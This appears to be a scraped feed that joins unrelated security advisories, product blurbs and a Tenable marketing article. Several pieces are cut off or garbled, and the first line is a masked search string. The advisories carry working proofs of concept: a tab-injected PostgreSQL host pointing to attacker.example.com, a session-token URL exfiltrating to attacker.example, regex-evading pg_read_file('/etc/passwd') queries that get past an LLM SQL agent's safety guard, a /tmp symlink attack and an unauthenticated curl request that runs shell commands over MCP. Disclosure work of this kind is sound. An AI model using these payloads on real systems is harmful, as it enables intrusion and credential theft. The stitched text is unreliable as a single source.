Search: t**n*e**l s.a. c***t**c***a

### Summary `pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`: ```go func escapePostgreConnectionParameter(str string) string { if !strings.Contains(str, " ") { return str // returned as-is for any non-space whitespace } str = strings.ReplaceAll(str, "'", "\\'") return fmt.Sprintf("'%s'", str) } ``` The function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\tsslmode=disable\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters. ### Vulnerable code `pkg/scalers/postgresql_scaler.go`, lines 155–164 and 250–257. ### Impact Tenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can: - **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM. - **Redirect the connection to an attacker-controlled host** (`host=...`) to steal the credentials the operator supplies via the `password=` keyword. - Append arbitrary libpq runtime parameters (`options=`, `application_name=`, `target_session_attrs=`) to pivot behavior. Note: the password parameter is appended **last** in `buildConnArray`, which limits but does not eliminate credential exfiltration — injected `host=` still redirects the subsequent `password=` keyword's target. ### Proof of concept ```yaml triggers: - type: postgresql metadata: host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com" port: "5432" userName: "keda" dbName: "metrics" sslmode: "require" query: "SELECT 1" ``` After `escapePostgreConnectionParameter` (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include `host=attacker.example.com` and `sslmode=disable`. ### Suggested fix - Escape / reject any ASCII whitespace (`\t`, `\n`, `\r`, `\f`, `\v`, space) and backslash. - Prefer the URI form (`postgres://user:pass@host:port/db?sslmode=require`) with proper URL-encoding. - Validate each field against an allow-list pattern before use. ### Resources - `pkg/scalers/postgresql_scaler.go` - libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING

Safer-dependencies is a security toolkit designed to audit and manage software dependencies added by AI coding assistants like Claude. It helps ensure that dependencies are not vulnerable, not abandoned, and not typosquatted, and it implements cooldown periods to reduce supply chain attack risks. The toolkit supports multiple package ecosystems including npm, PyPI, RubyGems, Maven, Go, and Rust. This is a proactive security measure rather than a vulnerability or exploit itself.

The new OMB logging directive raises the bar on log collection and explicitly ties every maturity milestone to how well agencies know what’s on their networks. Learn why asset visibility is the first problem to solve. Key takeaways M-26-14 rescinds M-21-31 and replaces blanket data-retention mandates with a five-element logging maturity model (levels 0-4) that agencies must progress through on a strict timeline after CISA publishes the logging reference architecture (LRA). Every maturity level is gated by inventory visibility. Specifically, agencies must demonstrate 70%, 80%, 90%, and 95% IT/OT/IoT asset capture at levels 1 through 4, respectively. After all, you can’t claim log coverage for assets you haven’t discovered. OT and IoT devices are explicitly in scope, including systems without native logging capability. This inclusion makes passive asset discovery tools a necessity rather than an add-on. The clock starts when CISA publishes the LRA within 90 days of the memo. Agencies that close asset-inventory gaps now will be positioned to hit the required deadlines, such as reaching level 1 in 120 days and level 3 in 321 days. You can’t log what you can’t see, and you can’t measure logging maturity against an incomplete inventory On May 22, the U.S. Office of Management and Budget (OMB) Director Russell Vought issued Memorandum M-26-14 , titled “Ensuring Effective and Efficient Agency Logging and Network Visibility to Defend Against Evolving Cyber Threats.” The directive rescinds M-21-31 and replaces it with a risk-based, prioritized logging framework designed to be both operationally achievable and aligned with today’s threat landscape. For federal cybersecurity leaders, M-26-14 represents a meaningful shift away from blanket data retention mandates and toward measurable, outcome-driven logging maturity. But hidden within its requirements is a foundational dependency that many agencies will need to address before their logging investments can deliver results: complete asset visibility . What M-26-14 requires, and why it’s different from M-21-31 The memorandum organizes logging around two objectives: Continuous event monitoring (CEM): Real-time log ingestion, anomaly detection, and SOC-driven response. Threat hunting, investigation, response, and forensics (THIRF): Centralized retrieval of historical log data to support post-compromise analysis and recovery. Agencies must achieve these objectives across all information systems, explicitly including internet-of-things (IoT) devices and operational technology (OT) systems, whether owned, operated, or managed by third parties. The memo also establishes a logging maturity model with five levels (0–4) that agencies must progress through on a defined timeline, with milestones measured across five elements: Inventory visibility : What percentage of IT/OT/IoT assets are captured in centralized hardware asset management (HWAM)/ software asset management (SWAM) inventories? Collection coverage : Are logs searchable and retrievable for those assets? Collection operations : Do logs generate actionable, tuned alerts? Data retention : Are logs retained for 6 months (searchable) and 12 months (retrievable)? Log management : Are logs encrypted, access-controlled, and properly retired? Agencies must reach level 1 (Basic) within 120 days, level 2 (Intermediate) within 180 days, and level 3 (Advanced) within 320 days of CISA publishing the logging reference architecture (LRA). A critical detail in the maturity model’s design: Overall maturity is calculated based on the lowest watermark across all five elements ( Appendix C footnote 8 ). For example, an agency that achieves level 3 in collection coverage but only level 1 in inventory visibility gets an overall rating of level 1. There is no averaging. This lowest-watermark principle makes inventory completeness the single most consequential element to address first. The denominator problem: Why incomplete inventories break the maturity model Look closely at the maturity model and a pattern emerges: Inventory completeness gates every level . Level 1 requires 70% of IT/OT/IoT assets captured in a centralized inventory Level 2 requires 80% Level 3 requires 90% Level 4 (Optimal) requires 95% The expansive scope of this OMB mandate — spanning on-premises IT, cloud workloads, identity providers, OT, and IoT — creates an immediate challenge: the denominator problem. Because log collection is measured as a percentage of your total inventory, you can’t claim 80% coverage if you only know about 60% of your assets. This operational gap is typically driven by administrative silos, air-gapped networks, and legacy OT/IoT environments that lack native logging or are unsafe to actively scan. Ultimately, managing visibility across this massive footprint comes down to one simple truth: You can’t write a logging plan for assets you haven’t discovered. How Tenable maps to M-26-14’s requirements Tenable has been embedded in the federal cybersecurity ecosystem as an a pproved continuous diagnostics and mitigation (CDM) vendor whose technology acts as the vulnerability management backbone for hundreds of civilian agencies, and increasingly as the platform that unifies visibility across IT, OT, and cloud attack surfaces. With M-26-14’s asset inventory requirements front and center, the foundation that Tenable’s technology provides is directly relevant to compliance milestones agencies must now achieve. The mapping below shows how Tenable capabilities correspond to M-26-14’s five maturity elements. -- Ground truth for the maturity model: Authoritative asset inventory Tenable One Vulnerability Management and Tenable One OT Exposure provide continuous, comprehensive asset discovery across traditional IT, operational technology, and IoT devices. This inventory serves as the ground truth for agencies to measure their maturity model progress, the denominator against which log collection coverage is calculated. -- Already CDM-connected: How Tenable accelerates HWAM/SWAM compliance M-26-14 explicitly directs agencies to use CDM, HWAM, and SWAM data to validate log coverage ( Appendix B, Requirement 4 ). As an established primary data source for federal CDM dashboards, Tenable eliminates the need for new data collection by pre-packing and reporting the inventory details M-26-14 requires. -- The Tenable solution: A phased approach to full visibility Standard IT scanners can crash fragile OT equipment like programmable logic controllers (PLCs). To meet M-26-14 requirements safely, Tenable offers a tiered approach: Phase 1: Baseline (Level 1): If you’re starting from scratch, use the OT Recon scan policy in Tenable Security Center or Tenable One Vulnerability Management. It uses “Safe Active Querying” with native industrial protocols to discover hardware and firmware details without downtime, helping you reach the 70% Level 1 baseline. Phase 2: Optimal Maturity (Level 4): To hit the 95% asset visibility threshold requiring daily updates, deploy Tenable One OT Exposure. By combining passive network monitoring with safe active querying, you gain persistent, real-time visibility into the deepest parts of the industrial network, bridging the gap to Level 4 maturity. -- From inventory to zero trust: Connecting visibility to the CISA Zero Trust Maturity Model Appendix A requires the LRA to align with CISA’s Zero Trust Maturity Model , which defines visibility and analytics as a cross-cutting capability enabling all five zero-trust pillars. The Tenable One Exposure Management Platform provides continuous attack surface visibility and risk quantification that feeds directly into z ero trust analytics, connecting vulnerability, identity, and configuration data into a unified exposure view. -- Beyond log retrieval: Vulnerability history as forensic evidence When investigating a compromise, security operations center (SOC) analysts need more than logs; they need to know which vulnerabilities existed on affected assets at the time of the incident. Tenable’s scan history and vulnerability timeline provide the forensic context required by Appendix B ( items j–k ): determining attack vectors, lateral movement paths, and root-cause analysis. -- AI-driven prioritization: Focusing logging resources where risk is highest Appendix A explicitly states that the LRA will address using AI to enhance CEM and THIRF capabilities. Tenable Hexa AI and Vulnerability Priority Rating (VPR) deliver AI-driven risk context that helps agencies prioritize which assets and vulnerabilities demand the most urgent logging and monitoring attention, directly supporting the “risk-based, prioritized” philosophy of M-26-14. Beyond inventory: Prioritizing logging resources where threat intelligence risk is highest Establishing an authoritative asset inventory provides the necessary compliance foundation, but it immediately introduces an operational challenge: once an agency uncovers thousands of previously unmanaged IT, OT, and IoT assets, where should security teams begin deploying limited logging resources? The same challenge exists across other parts of the modern attack surface. Cloud workloads, identity providers and directories, web applications, APIs, and containerized environments frequently operate in silos with incomplete inventories and inconsistent visibility. These assets can become equally unknown or poorly logged, creating additional blind spots that M-26-14’s risk-based, prioritized framework requires agencies to close. OMB M-26-14 explicitly shifts federal strategy away from legacy, blanket data -retention mandates and toward a “risk-based, prioritized” logging philosophy. However, the directive does not prescribe a formula for that prioritization. Leaving agencies to manually identify high-value assets (HVAs) and determine logging priorities across complex hybrid IT/OT/cloud/identity environments creates compliance bottlenecks. This is where asset discovery must transition into unified exposu

Yesterday, I talked about NAPTR records and how they are related to RCS. But there is another "odd" record that shows up in my DNS logs. This one isn&&#x23&#x3b;x26&#x3b;&#x23&#x3b;39&#x3b;t new, but I don&&#x23&#x3b;x26&#x3b;&#x23&#x3b;39&#x3b;t think I ever covered it: NIMLOC. At least that is what Zeek calls it. But let&&#x23&#x3b;x26&#x3b;&#x23&#x3b;39&#x3b;s see what it is all about.

ActiveState explains how GitHub Actions attack chains can evade traditional CI security scanners, why passing a scan doesn't guarantee a secure pipeline, and how organizations can better govern their CI/CD workflows. [...]

Uncaught Exception (CWE-248) in the T20 Readers allows an authenticated and authorized operator to trigger a restart by sending specific requests, resulting in a temporary denial of service. Version of Command Centre affected: * 9.50 prior to vCR9.50.260616a (distributed in 9.50.1587(MR1)) * 9.40 prior to vCR9.40.260616a (distributed in 9.40.3130(MR3)) * 9.30 prior to vCR9.30.260616a (distributed in 9.30.3983(MR5)) * 9.20 prior to vCR9.20.260616a (distributed in 9.20.4349(MR7)) * all versions of 9.10 and prior.

## Summary The datapoint export API builds a PostgreSQL crosstab export query by concatenating asset display names into raw SQL. An authenticated user who can create or rename an asset and then request a crosstab datapoint export can inject SQL through the asset name. The injected query output is streamed back to the caller inside the normal ZIP/CSV export response. This creates a practical database exfiltration primitive through the application API. In a multi-tenant deployment, this can expose data outside the attacker's tenant if the application database role can read shared manager tables. ## Affected Component - Datapoint export endpoint for asset datapoints. - Crosstab export formats, specifically CSV crosstab-style exports. - Query builder path that constructs a `COPY (SELECT ... FROM crosstab(...)) TO STDOUT` statement. ## Security Impact Impact is high. A remote authenticated attacker with asset read/write capabilities can: - Store SQL syntax inside an asset name. - Trigger the crosstab export path for that asset. - Cause the backend to execute attacker-influenced SQL through the PostgreSQL connection used by the manager service. - Receive injected `SELECT` results in the exported CSV contained in the ZIP response. The demonstrated impact is database data exfiltration. The proof of concept safely retrieved database execution context and an aggregate table count. A real attacker could adapt the injected `SELECT` to read other database tables accessible to the application database role. This is especially sensitive in multi-tenant deployments because application tables commonly contain data for multiple realms/tenants in the same database. ## Attack Preconditions The attacker needs: - A valid authenticated session. - Permission to create or rename at least one asset. - Permission to read/export datapoints for at least one attribute on that asset. - Access to a crosstab datapoint export format. No direct database access is required. No server filesystem access is required. No token forgery is required. ## Technical Details The export implementation derives a crosstab header from the asset name and attribute name. It then embeds that header into two SQL contexts: 1. A PostgreSQL double-quoted column identifier: ```sql "<asset name> : <attribute name>" text ``` 2. A category query passed to `crosstab(...)`, wrapped in a fixed dollar-quoted delimiter: ```sql $cat$ SELECT header FROM (VALUES ('<asset name> : <attribute name>')) AS t(header) $cat$ ``` The current escaping is incomplete: - Single quotes are escaped in one string-literal context. - Double quotes in asset names are not escaped before being placed inside quoted identifiers. - The fixed dollar-quote delimiter is not protected against an asset name containing the delimiter token. As a result, an attacker-controlled asset name can break out of the intended SQL grammar boundary and append SQL to the generated `COPY ... TO STDOUT` query. Because the backend streams `COPY` output into the export response, injected query rows are returned to the attacker as CSV. ## Example Exploit Flow 1. Authenticate normally. 2. Create or rename an asset using a name containing SQL metacharacters that closes the crosstab column definition. 3. Ensure the asset has an exportable datapoint attribute. 4. Write at least one datapoint value for that attribute, if necessary. 5. Request a CSV crosstab datapoint export for the crafted asset attribute. 6. Inspect the returned ZIP/CSV. The CSV contains both normal datapoint rows and rows produced by the injected SQL. A safe proof query demonstrated exfiltration of: - `current_user` - `current_database()` - `count(*)` from an application table The returned CSV contained a row equivalent to: ```text <timestamp>,<database_user>:<database_name>:<table_count> ``` ## Root Cause The root cause is manual SQL string construction using user-controlled display data as SQL syntax. The asset name is treated as presentation data in the application model, but later reused as part of executable SQL: - As an SQL identifier in the crosstab output column list. - As a value inside a category query string passed to PostgreSQL. These contexts require different escaping rules. Applying partial string escaping is error-prone and currently misses exploitable grammar boundaries. ## Recommended Fix Avoid embedding user-controlled asset names directly into executable SQL. Recommended options: 1. Do not use asset names as SQL identifiers. - Generate deterministic internal column aliases such as `c1`, `c2`, `c3`. - Keep the user-facing asset/attribute labels outside SQL and apply them only when serializing CSV headers. 2. If dynamic identifiers are unavoidable, quote them using a database-aware identifier quoting function. - For PostgreSQL identifiers, double embedded `"` characters. - Do not perform ad hoc quoting with string concatenation. 3. Avoid fixed dollar-quote delimiters around attacker-influence

### Summary `coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. > **Note:** Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. ### Impact Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like `https://attacker.example/?t=$SESSION_TOKEN`. Running `coder open app` then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run `coder open app` against a workspace that contains a malicious external app. ### Patches The fix applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds Avoid running `coder open app` for untrusted workspaces. ### Resources - Fix: #26146 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!

# SQLChatAgent `_validate_query` dangerous-pattern regex is bypassable via quoted/commented/qualified function names ## Summary The `SQLChatAgent` SQL-injection mitigation, with default `allow_dangerous_operations=False`, combines a raw-text regex blocklist (`_DANGEROUS_SQL_PATTERNS`) with a `sqlglot` SELECT-only statement allowlist. The blocklist entries that target callable functions require the function name to be immediately followed by `\s*\(`. PostgreSQL accepts the same call with the name separated from `(` by a quoted identifier, an inline comment, or schema qualification. These forms evade the regex, still parse as `SELECT`, and execute the same PostgreSQL function. This restores the `pg_read_file` server-side file-read primitive that the prior CVE-2026-25879 / GHSA-pmch-g965-grmr fix was meant to block: the parent advisory fixed a missing `pg_read_file` blocklist entry, while this report shows that the added regex is bypassable. ## Affected Code Tested against current `main` commit: `6e8e7b2bb23ec04c1c25be479f16b8cc9a4f8796` The current source still contains: ```python re.compile(r"\bpg_(read|stat|ls|current_logfile)[A-Za-z0-9_]*\s*\(", re.IGNORECASE) ``` `_validate_query` checks the raw query against `_DANGEROUS_SQL_PATTERNS`, then parses with `sqlglot` and allows `SELECT` statements. The dangerous-call check is raw text, not normalized AST function-name matching. ## Root Cause The current mitigation treats dangerous PostgreSQL function calls as a raw-text regex problem. The regex requires the `pg_...` function token to be followed directly by optional whitespace and `(`, but PostgreSQL accepts equivalent calls through quoted identifiers, comments, and schema-qualified names. Because `_validate_query` only uses `sqlglot` to enforce the top-level statement type, those normalized function names are never checked after parsing. ## Auth Boundary The boundary is the default `SQLChatAgent` safety policy between attacker-influenced SQL generation and database operations that can read server-side files. With `allow_dangerous_operations=False`, a user or prompt that influences generated SQL should not be able to bypass the guard and execute PostgreSQL file-read functions such as `pg_read_file`. This is not a new unauthenticated endpoint or product-wide SQL injection; it applies when untrusted user content can influence SQLChatAgent's generated SQL. ## Reproduction The local harness uses the current `sql_chat_agent.py`, extracts the real shipped dangerous regex list, validates the queries with real `sqlglot==30.8.0`, then executes the accepted bypasses against a local throwaway PostgreSQL 16 container. Transcript excerpt: ```text CONTROL "SELECT pg_read_file('/etc/passwd')" -> REJECTED: matches '\\bpg_(read|stat|ls|current_logfile)[A-Za-z0-9_]*\\s*\\(' BYPASS 'SELECT "pg_read_file"(\'/etc/passwd\')' -> ALLOWED (validator returned None -> would execute) BYPASS "SELECT pg_read_file/**/('/etc/passwd')" -> ALLOWED (validator returned None -> would execute) BYPASS 'SELECT pg_catalog."pg_read_file"(\'/etc/passwd\')' -> ALLOWED (validator returned None -> would execute) === Part B: real PostgreSQL execution of the bypass === connected; is_superuser=t executed bypass 'SELECT "pg_read_file"(\'<file>\')' -> file contents returned: 'LANGROID_SAFE_MARKER_...' executed bypass "SELECT pg_read_file/**/('<file>')" -> file contents returned: 'LANGROID_SAFE_MARKER_...' executed bypass 'SELECT pg_catalog."pg_read_file"(\'<file>\')' -> file contents returned: 'LANGROID_SAFE_MARKER_...' RESULT: VULNERABLE ``` The control query is blocked by the current regex, while all three equivalent PostgreSQL forms are allowed by the validator and return the mounted proof file contents from a real PostgreSQL server. The `LANGROID_SAFE_MARKER_...` value is a harmless marker generated inside the throwaway local container for this proof. ## Impact On a deployment using `SQLChatAgent` against PostgreSQL with a role able to call `pg_read_file` (superuser, or a role granted `pg_read_server_files`), an attacker who can influence LLM-generated SQL can coerce the agent into emitting one of the obfuscated queries and read files accessible to the PostgreSQL server process through `pg_read_file`. This is the same impact and precondition shape as the published `pg_read_file` advisory, but it targets the bypassability of the current regex-based fix rather than the pre-fix absence of a `pg_read_file` block. Severity: High by parity with the published parent advisory; not Critical. CWE-184 leading to server-side file read. ## Suggested Fix Do not rely on raw-text regex matching for dangerous-call detection. After the existing `sqlglot` parse, walk the AST and reject any function invocation whose normalized, unquoted, schema-stripped, case-folded name is in a dangerous set such as `pg_read_file`, `pg_read_binary_file`, `pg_ls_dir`, `pg_stat_file`, `lo_import`, `lo_export`, `load_file`, or `load_extension`. Also

### Summary The SQLite databases are created at predictable (static) paths in `/tmp`. Any user can therefore create a symlink at these paths in /tmp pointing to arbitrary files. The monitoring scripts then follows these symlinks and then creates their database at the symlink target. This becomes really dangerous for the scripts which can be executed as root with sudo. With this, an attacker can write to abitrary paths. ### PoC The docker-stats check command here as an example. Because writing to /tmp is the default behaviour, the other check commands which use a SQLite database are also very likely affected. ``` # Create the symlink as nagios user nagios@test-server:/tmp$ ln -s /root/nagios-was-here /tmp/linuxfabrik-monitoring-plugins-docker-stats.db # Trigger the execution nagios user nagios@test-server:/tmp$ sudo /usr/lib64/nagios/plugins/docker-stats ``` Check whether or not file was created. ``` root@test-server:/# file /root/nagios-was-here /root/nagios-was-here: SQLite 3.x database, last written using SQLite version 3046001, file counter 2, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 2 ``` ### Impact In it's basic form, this vulnerbility can lead to a denial of service, impacting users who use the provided sudoers file and who didn't take any special precautions like systemd's `PrivateTemp`. It requires that an attacker already compromised the nagios account (which is quite a high barrier to be honest). If any application on the server relies on a SQLite database, there are scenarios where this vulnerability allows for content in existing SQLite databases to be modified. An attacker could let the symlink point to an existing SQLite database and create in /tmp a specially-crafted SQLite Rollback Journal (`.db-journal`) or Write-Ahead-Log (`.db-wal`), which is then applied to the database. ### Fix A proposed fix would be to create a separate directory inside /tmp per user (e.g.,` /tmp/linuxfabrik-monitoring-plugins-{os.geteuid()}`). After creating this directory (or using an already existing one), check the following: ``` # Use os.lstat() instead of os.stat() so we don't accidentally follow symlinks dir_stat = os.lstat(TMP_DIR_PATH) # Ensure the directory is a real dir and not a Symlink if not stat.S_ISDIR(dir_stat.st_mode): # abort the execution sys.exit(1) # Verify the owner if dir_stat.st_uid != os.getuid(): # abort the execution sys.exit(1) # Verify the permissions if (dir_stat.st_mode & 0o077) != 0: # abort the execution sys.exit(1) ```

## Unauthenticated Command Execution via HTTP MCP `execute_module` ### Summary The HTTP MCP endpoint (`POST /mcp`) in flyto-core accepts unauthenticated JSON-RPC `tools/call` requests and dispatches them to arbitrary registered modules, including `sandbox.execute_shell`, which passes attacker-controlled input directly to `asyncio.create_subprocess_shell`. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to `127.0.0.1`, making this a High-severity local vulnerability (CVSS 8.4); if started with `--host 0.0.0.0`, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as `root` inside a Docker container without any `Authorization` header. ### Details flyto-core exposes an HTTP API via FastAPI. When the API is started (`flyto serve`), the MCP router is unconditionally mounted at `/mcp` (`src/core/api/server.py:75-78`). The route handler at `src/core/api/routes/mcp.py:65-66` declares `@router.post("")` with **no** `Depends(require_auth)` dependency, unlike the analogous REST execution routes (`src/core/api/routes/modules.py:93`) which enforce both authentication and a module denylist. The complete unauthenticated data flow from source to sink: 1. **`src/core/api/server.py:75-78`** — `mcp_router` is mounted under `/mcp` unconditionally at app creation. 2. **`src/core/api/routes/mcp.py:65-66`** — `@router.post("")` has no `Depends(require_auth)` guard; any HTTP client may POST to this route. 3. **`src/core/api/routes/mcp.py:79`** — the full request body (attacker-controlled JSON) is parsed without validation. 4. **`src/core/api/routes/mcp.py:103-104`** — each JSON-RPC item is forwarded to `handle_jsonrpc_request` without a `module_filter`. 5. **`src/core/mcp_handler.py:813-838`** — `tools/call` with name `execute_module` forwards attacker-controlled `module_id` and `params` to `execute_module()`. 6. **`src/core/mcp_handler.py:180`, `214-215`** — the module registry resolves `module_id` and invokes it with attacker-supplied `params`. 7. **`src/core/modules/registry/decorators.py:96-101`** — the function wrapper exposes `self.params` as `context['params']`. 8. **`src/core/modules/atomic/sandbox/execute_shell.py:137-139`** — `command` is read directly from `params` with no sanitization. 9. **`src/core/modules/atomic/sandbox/execute_shell.py:163-169`** — `command` reaches `asyncio.create_subprocess_shell` with `shell=True` and no allowlist or escaping. The `sandbox.execute_shell` module is not covered by the default denylist (`_DEFAULT_DENYLIST = ["shell.*", "process.*"]` at `src/core/api/security.py:126`), so even if `module_filter` were applied it would still be reachable. **Vulnerable code excerpts:** ```python # src/core/api/routes/mcp.py:65-66 — missing auth @router.post("") async def mcp_post(request: Request): ``` ```python # src/core/mcp_handler.py:832-838 — attacker-controlled dispatch elif tool_name == "execute_module": result = await execute_module( module_id=arguments.get("module_id", ""), params=arguments.get("params", {}), context=arguments.get("context"), browser_sessions=browser_sessions, ) ``` ```python # src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink params = context['params'] command = params.get('command', '') # ... only empty-command and cwd existence checks ... proc = await asyncio.create_subprocess_shell(command, ...) ``` **Contrast with the protected REST route:** ```python # src/core/api/routes/modules.py:93 — correctly guarded @router.post("/execute", dependencies=[Depends(require_auth)]) ``` The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it. ### PoC **Environment setup (Docker):** ```bash # Build the image (context: the report directory containing repo/ and vuln-001/) docker build \ -f vuln-001/Dockerfile \ -t flyto-vuln-001 \ reports/mcp_57_flytohub__flyto-core/ # Start the server (binds 0.0.0.0:8333 inside the container) docker run --rm -d \ -p 127.0.0.1:8333:8333 \ --name flyto-vuln-001-test \ flyto-vuln-001 ``` **Exploit (curl) — no Authorization header:** ```bash curl -sS http://127.0.0.1:8333/mcp \ -H 'Content-Type: application/json' \ -d '{ "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "execute_module", "arguments": { "module_id": "sandbox.execute_shell", "params": {"command": "id", "timeout": 5} } } }' ``` **Exploit (Python PoC script):** ```bash python3 vuln-001/poc.py \ --host 127.0.0.1 --port 8333 --command id ``` **Observed response (dynamic reproduction, Phase 2):** ```json { "jsonrpc": "2.0", "id": 1, "result": { "structuredContent": { "ok": true, "data": { "stdout": "uid=0(root) gid=0(root) groups=0(root)\n", "stderr": "", "exit_code": 0,

The kernel-rt packages provide the Real Time Linux Kernel, which enables fine-tuning for systems with extremely high determinism requirements. Security Fix(es): * kernel: ima: don't clear IMA_DIGSIG flag when setting or removing non-IMA xattr (CVE-2025-68183) * kernel: Bluetooth: SCO: Fix use-after-free in sco_recv_frame() due to missing sock_hold (CVE-2026-31408) * kernel: tcp: fix potential race in tcp_v6_syn_recv_sock() (CVE-2026-43198) * kernel: RDMA/vmw_pvrdma: Fix double free on pvrdma_alloc_ucontext() error path (CVE-2026-46189) * kernel: nvmet-tcp: fix race between ICReq handling and queue teardown (CVE-2026-46135) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

This content discusses the evolving pace of software development, particularly the rise of AI-driven coding methods such as Vibe Coding, which enable rapid software creation from natural language prompts. While this accelerates innovation and accessibility, it introduces new security challenges because traditional security decision points may be bypassed or compressed. AI-generated code can contain vulnerabilities and architectural flaws that increase organizational risk if not properly reviewed and secured. The article emphasizes the need for maintaining secure software engineering practices alongside these new development paradigms.

A validation vulnerability has been identified in certain web features related to file management or upload in several products of the TAO 2.0 suite. This vulnerability could allow an attacker capable of interacting with the affected feature to attempt to access file system resources outside the scope intended by the application.

Improper Input Validation, Unintended Proxy or Intermediary ('Confused Deputy') vulnerability in Apache Camel DAPR component. The camel-dapr Dapr Pub/Sub consumer (DaprPubSubConsumer) copied two fields from each inbound CloudEvent - its Pub/Sub component name and its topic - into the CamelDaprPubSubName and CamelDaprTopic Exchange headers. These two headers are producer-direction routing headers: when the route republishes through a Dapr producer, DaprConfigurationOptionsProxy reads them back and prefers them over the destination configured on the endpoint. As a result, in a route that consumes from one Dapr Pub/Sub topic and republishes to another (for example from('dapr-pubsub:p:t').to('dapr-pubsub:p:other')), an actor able to publish a message to the subscribed topic could set the CloudEvent's pub/sub-name and topic to values of their choosing and cause the re-published message to be delivered to an arbitrary Dapr Pub/Sub component and topic instead of the configured destination - redirecting or exfiltrating the message and bypassing the route's intended routing and any topic-level access controls in the underlying broker. Exploitation requires the ability to publish to the topic the route subscribes to; no other authentication or user interaction is needed. This issue affects Apache Camel: from 4.12.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0. Users are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. For deployments that cannot upgrade immediately, remove the CamelDaprPubSubName and CamelDaprTopic headers from the Exchange between the Dapr consumer and any Dapr producer in the route (for example removeHeaders('CamelDaprPubSubName', 'CamelDaprTopic')), and restrict who can publish to the subscribed Dapr Pub/Sub topic so that only trusted producers can send to it.

Missing filtering when the helmRepoURLRegex field isn't set on a GitRepo resource in SUSE Rancher Fleet's bundle reader in 0.15 before 0.15.2, 0.14 before 0.14.6, 0.13 before 0.13.11 and 0.12 before 0.12.15 forwards Helm authentication credentials (BasicAuth) to any URL specified in the helm.repo field of a fleet.yaml file, allowing attackers able to push to fleet monitored git repos to leak helm access credentials.

AtlantHarden is a free Windows 10/11 hardening application designed to improve system security by applying a comprehensive set of registry, policy, and configuration changes. It offers three profiles—Basic, Recommended, and Maximum—balancing security and usability, with the Recommended profile aiming to block real malware while preserving user experience. The tool includes hundreds of hardening settings, DISA STIG controls, ACSC Essential Eight compliance, attack surface reduction rules, and browser hardening across multiple browsers. It automatically backs up changes and supports silent deployment for enterprise use. The application is self-contained and requires administrator privileges. It is not a vulnerability or threat itself but a security hardening utility.

In the Linux kernel, the following vulnerability has been resolved: KVM: SEV: Require in-GHCB scratch area if GHCB v2+ is in use As per the GHCB spec, when using GHCB v2+ require the software scratch area to reside in the GHCB's shared buffer. Note, things like Page State Change (PSC) requests _rely_ on this behavior, as the guest can't provide a length when making the request, i.e. the size of the guest payload is bounded by the size of the shared buffer. Failure to force usage of the GHCB, and a slew of other flaws, lets a malicious SNP guest corrupt host kernel heap memory, and leak host heap layout information. setup_vmgexit_scratch() allocates a buffer via kvzalloc(exit_info_2), where exit_info_2 is guest-controlled. With exit_info_2=24, this yields a 24-byte allocation in kmalloc-cg-32 (32-byte slab objects). The buffer holds an 8-byte psc_hdr followed by 8-byte psc_entry structs, so only entries[0] and entries[1] are in-bounds. snp_begin_psc() validates end_entry against VMGEXIT_PSC_MAX_COUNT (253) but NOT against the actual buffer size: idx_end = hdr->end_entry; if (idx_end >= VMGEXIT_PSC_MAX_COUNT) { // checks 253, not buffer snp_complete_psc(svm, ...); return 1; } for (idx = idx_start; idx <= idx_end; idx++) { entry_start = entries[idx]; // OOB when idx >= 2 The guest sets end_entry=10+, causing the host to iterate entries[2+] which are OOB into adjacent slab objects. For each OOB entry: - The host reads 8 bytes (OOB READ / info leak oracle) - If the data passes PSC validation, __snp_complete_one_psc() writes cur_page = 1 or 512 into the entry (OOB WRITE, sev.c:3806) - If validation fails, the error response reveals whether adjacent memory is zero vs non-zero (information disclosure to guest) The guest controls allocation size (exit_info_2), entry range (cur_entry/end_entry), and can fire unlimited VMGEXITs to repeatedly hit different slab positions. By exploiting the variety of bugs, a malicious SEV-SNP guest can: - OOB read adjacent kmalloc-cg-32 objects (heap layout disclosure) - OOB write cur_page bits into adjacent objects (heap corruption) - Trigger use-after-free conditions across 